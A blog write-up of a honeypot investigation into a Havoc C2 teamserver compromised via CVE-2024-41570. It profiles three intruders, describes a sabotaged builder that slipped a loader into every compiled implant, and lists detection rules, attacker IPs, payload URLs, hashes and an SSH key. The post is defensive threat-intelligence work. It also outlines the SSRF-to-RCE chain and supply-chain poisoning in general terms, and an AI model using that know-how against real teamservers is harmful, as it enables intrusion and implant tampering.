The fake Demon 32d94782, registered on 17 January through the SSRF exploitation, shows up in the Havoc panel like any other agent. A3 stumbled on it:
[22/01 15:49:16] [User: 5pider] Demon => pwd ← no response
[31/01 15:36:30] [User: 5pider] Demon => pwd ← no responseTwice, nine days apart, they tried to make a decoy left by their predecessor talk, without guessing what it was.
Three actors, one table#
For narrative clarity, I’ll call A1 the author of the 20 January exploit, A2 the one behind the 21st’s sabotage, and A3 the one behind the active phase on the 27th. Whether these three labels cover three distinct people is discussed below.
| A1 | A2 | A3 | |
|---|---|---|---|
| Presence | 20 Jan, 24 seconds | 17→21 Jan, 4d 07h | 22 Jan→19 Feb, 29 days |
| Channel | TLS 40056 | TLS 40056 | SSH key |
| Account | Neo | Neo | 5pider |
| Tooling | script (unique JA3) | official Havoc client | injections + SSH |
| Injection form | $(…) substitution | — | -mbla option |
Jitter | 15 (default, untouched) | — | 0 (modified) |
| Highlight | drops the implant, leaves | sabotages the builder | SSH backdoor |

Three things make it likely that A1 and A2 are distinct actors:
- Precedence: A2 has been present 2 days and 13 hours before A1.
- Co-presence: at 03:05:54 on 20 January, A2’s TCP session from
146.70.202.106has been active for almost three days and exchanges 917 packets in the hour around A1’s authentication. Two distinct IP connections to port 40056, two authentications under theNeoaccount, at the same moment. - Incompatible TLS fingerprints: A1’s (a script) is unique across the entire captured volume; A2’s is stable and consistent with the official Havoc client.
None of these is decisive. A single actor could have left a GUI client open and fired an automated exploit from another IP, for compartmentalization or to reuse an existing tool. A1’s behavior — 24 seconds then leaving with no reconnaissance or post-exploitation — feels more like an opportunistic scanning bot than an operator coming back manually, but that’s only a profile. So it’s not impossible that A1 and A2 are the same attacker.
For A3, on the other hand, nothing lets us either confirm or refute that they’re distinct from A2.
One last, weaker hint: none of the 5pider connections was preceded by the Failed upgrading request you sometimes see for Neo. That aborted preflight betrays a client testing HTTP connectivity before switching to WebSocket, behavior that no minimal script bothers to imitate. It’s not proof, but it’s one more pattern.
The supply chain, by the numbers#
From 22 January to 17 February, every compilation observed includes src/core/Transports.c. So every Demon generated during that window embedded the loader.
The switch shows up in the command lines passed to MinGW, which the teamserver logs in full. Between the compilation on 18 January at 09:35:05 and the one on 22 January at 09:43:34, a single difference:
src/core/Thread.c
src/core/Token.c
src/core/Transport.c
src/core/TransportHttp.c
src/core/TransportSmb.c
+ src/core/Transports.c
src/core/Win32.c
src/crypt/AesCrypt.c
One line out of thirty, slipped in at its alphabetical spot in the middle of the Transport* family. On a command that lines up thirty sources and about twenty options, nothing catches the eye.
The leverage is right there: compromise one server to reach all the operator’s future victims, without ever targeting them. Worth noting too, two distinct C2 infrastructures coexist: microsoft[.]azuredevtools[.]com for the teamserver’s Linux implant, defender[.]en-us[.]vip for the Windows agents delivered downstream. The second never appears in the network captures: it only activates on the victims’ machines.

Only the Linux implant on the teamserver beacons where our PCAP can see it. The Windows agents hardcoded to defender[.]en-us[.]vip only wake up on their future victims — never on the honeypot.
What the sensors didn’t see#
This is the most awkward finding of the whole analysis. The builder sabotage, the act with the most lasting impact in the case, was picked up by none of the deployed sensors. And for two independent reasons:
| Sensor | Cause |
|---|---|
| Snoopy | By nature. It logs execve calls, not write(). Writing a file from an already-running process creates no process |
auditd, havoc_file_changes rule | By mistake. The rule existed in /etc/audit/rules.d/ since 16 January, but was only actually loaded on the 21st, several hours after the compromise ended |
CVE-2024-41570 is trivial to detect server-side#
This is, I think, the most useful takeaway from this investigation. The literature covers detection on the network side well (the protocol’s 0xDEADBEEF signature, packet silhouettes) and via the self-signed TLS certificate. Detection through the teamserver’s own logs, however, doesn’t seem to have been formalized.
And yet the fraudulent registration on 17 January carried, in the clear, in a legitimate application log, two anomalies that no real agent can produce:
No Aes Key specified ← a missing key is anomalous by design
SleepJitter: 299 ← a jitter is a percentage, so ≤ 100A single correlation rule on these two fields would have detected the exploitation the same day, without any extra tool. Add to that the entirely random identity and a SleepDelay of 20.8 hours.
More generally, here’s what I’d put in place on a teamserver, in order of usefulness:
| Priority | Rule | Source |
|---|---|---|
| 1 | Agent registration without an encryption key, or with jitter > 100 | C2 application log |
| 2 | Modification of ~/.ssh/authorized_keys | FIM / auditd |
| 3 | Modification of a file under the build directory | FIM with reference hash |
| 4 | Outbound connections at a fixed rate (standard deviation < 2 s) to a single destination | Network flow |
| 5 | nohup on a binary located in /tmp with tty=none | auditd / Snoopy |
| 6 | Process named vmtoolsd, dbus-udevd outside its expected path | auditd |
Limits of the analysis#
For methodological honesty, two caveats:
- Partial network coverage. The captures only cover 17 to 21 January, about 9% of the exposure period. Everything after that rests on the logs alone.
- Event loss. The Wazuh agent queue saturated during the initial exploitation (20 January, four episodes between 03:06:38 and 03:09:56). Some of A1’s commands may have disappeared in that ~3 min 20 s window.
Honeypot IOCs#
These indicators are over a year old. I’m not publishing them to feed a watch-list. The addresses belong to commercial VPNs, Tor, or Cloudflare, and have almost certainly changed hands long since.
Two caveats before the details. The address 146[.]70[.]116[.]227 comes from the ExternIP field of the fake Demon, i.e. a value the agent declares itself: forgeable by design. The hash of the payloads dropped on the teamserver has been lost, which is why they don’t appear in this section.
What still holds some value#
The SSH key, first. A public key is reused from one campaign to another far more readily than an IP address: if this one reappears in an authorized_keys, it’s the same actor.
SSH key : ssh-rsa 3072 bits, comment kali@kali
Fingerprint: SHA256:R9C3ApIi4HciQ8t1Ba1zV5HQPdOixdyEI1YA2v8gq0g
Installed : 2025-01-27 10:58:41 UTC in ~/.ssh/authorized_keysThe implant’s outbound JA3, 2ee8bc39bdba32330d82af4aa8eb0a4a. It holds as long as the binary isn’t recompiled, and crucially it detects the implant without depending on the C2 domain, which can change overnight.
The hashes of the sabotage code, finally. They identify the code itself, not the infrastructure: if the same actor reuses it elsewhere, they’ll match.
| Path | SHA256 | Size |
|---|---|---|
payloads/Demon/src/core/Transports.c | 8b8aeebfbcf2211c522b06c69ec3955309bdc744b0b5083864f07d9e2f8ac115 | 3,487 |
payloads/Demon/include/core/Transports.h | 3fe7fc9d2c48d1cf09940340e7585668834483f6ebf3dfc7a65d5d5ab05fbbe5 | 83 |
payloads/Demon/src/Demon.c (modified) | c798ff9093fce70d46a010c1c875566d2b928957e9dcb9f3948f3281685da567 | 40,387 |
payloads/Demon/id_rsa (dropped public key) | cd38e29b41a68528144dbe80ada118223c33dd69a73659f36e5360e57040b8ef | 563 |
For retro-hunt: the January–February 2025 infrastructure#
These values are no longer useful for monitoring. They’re for anyone who kept DNS logs, netflow, or proxy logs from that period.
| Type | Value | Context |
|---|---|---|
| Domain | microsoft[.]azuredevtools[.]com | C2 of the Linux implant on the teamserver (12,950 TLS sessions) VT link |
| Domain | defender[.]en-us[.]vip | C2 of the Windows agents delivered downstream, hardcoded in Transports.c VT link |
| URL | https://defender[.]en-us[.]vip/static/update.zip | Windows payload |
| URL | http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 | Linux payload - self-hosted Transfer.sh instance on Oracle Cloud |
| IP | 103[.]127[.]218[.]229 | A1, 20 Jan |
| IP | 146[.]70[.]202[.]106 | A2, 17→21 Jan |
| IP | 95[.]153[.]31[.]119, 196[.]240[.]54[.]115, 196[.]240[.]54[.]121, 196[.]240[.]54[.]122 | A3, 22 Jan→19 Feb (SSH connections from 27 Jan onward) |
| JA3 | Attribution |
|---|---|
8e1cb226cc0cc53d6ef633206530004a | A1 - 91 cipher suites, consistent with a tool using OpenSSL without customization |
c12b4ccd5320bbb380ca1a9df90f771d | A2 - stable across the three sessions |
| Implant path | Status |
|---|---|
/tmp/cache2 | Initial payload, wiped on 21 Jan |
/tmp/.font-unix/cache → /tmp/.font-unix/vmtoolsd | Relocation then final name, destroyed at reboot |
/usr/sbin/dbus-udevd | Install attempted and failed |
What was ruled out#
Three notes, to avoid mixing indicators:
- The
torproject[.]clouddomain from the first part of this article is absent from the entire honeypot disk and captures. The two cases share neither domain, nor payload, nor fingerprint. - The SSRF’s
COMMAND_SOCKETleft no trace. Only the fake Demon registration is proven. - A3’s attempt to steal an SSH private key failed: the file didn’t exist.
Six weeks of exposure, three independent presences. A1 is just a 24-second point on 20 January. A2 occupies the server for four days and sabotages it on the 21st. A3 comes back eight times over SSH across 24 days.
Conclusion#
What to take away#
The irony of this whole thing: the tools built to compromise systems can end up compromised themselves. And when a central server is used to generate implants deployed on third parties, one compromise is enough to turn the entire offensive infrastructure into a distribution vehicle for an opportunistic attacker.
In this specific case, the attack chain was straightforward:
- A publicly exposed teamserver with no redirector.
- Default credentials kept unchanged.
- A documented command injection vulnerability with a public PoC.
The result: every binary compiled by the server silently carried a Donut Loader running an Apollo agent on someone else’s behalf. Infrastructure parasitism at its purest.
The honeypot experiment also showed that this forced cohabitation is nothing special. Left online for six weeks, the infrastructure saw three distinct actors pass through, each unaware of the others. The second manipulated the payload dropped by the first without knowing it was already running, renaming it mid-execution. The third tried to query a decoy left by the second, and never got a response.
The heaviest impact is the direct poisoning of the agent generator, which from that point on systematically corrupted every future payload produced by the machine.
Recommendations#
- Change the default credentials. It may sound obvious, but this is precisely what makes the authenticated RCE trivial, and the SSRF → RCE chain fully automatable. Havoc’s default configuration creates two accounts with the password
password1234, and nothing in the documentation explicitly invites you to change them. - Don’t fully expose a server to the Internet. Putting a redirector or a VPN in front of the admin panel considerably reduces the attack surface, as does exposing only the ports needed for the project to function.
- Regularly verify the source code integrity. Once the initial deployment is done, a simple hash of the critical files or a periodic
git diffis enough to spot any alteration of the agent-generation code.builder.goand the compilation templates directory are the priority targets to watch. An automated check, via a cron paired with an alert, is a minimal safety net. - Monitor the teamserver like any other server. Strengthened system logging (process auditing, executed commands), network supervision, alerting: nothing specific to the tool, but just as essential.
- Follow the vulnerabilities published on the tools you use. CVEs affecting C2 frameworks are still rare in the literature, but they do exist.
More broadly#
Havoc is not an isolated case. The Include Security article documents similar vulnerabilities, authenticated RCEs or not, in Sliver, Covenant, Ninja and SHAD0W. Teamservers are critical pieces: they compile code, handle connections from hostile networks, and take care of authentication, all in projects often maintained on their developers’ free time.
This kind of parasitism isn’t just opportunistic, either. The Turla group, attributed to the FSB, has made it a documented practice: exploiting APT34/OilRig backdoors as early as 2019, re-registering expired Andromeda domains to target Ukraine in 2022–2023, infiltrating the C2 infrastructure of the Pakistani group Storm-0156 between 2022 and 2024 to reach Afghan and Indian government networks. Microsoft has even called this approach an “intentional component” of their tactics. The parallel with what we observed on our teamserver, on an obviously very different scale, is striking.
If this read makes you want to set up your own lab to study C2 framework behavior, go for it: it’s a really fun exercise! As long as you keep it in a controlled environment! And above all, remember to change the default passwords ;)
Illustration photo credit: Me :3
Thanks Flaticon for these and for these icons, created by Magnific - Flaticon !


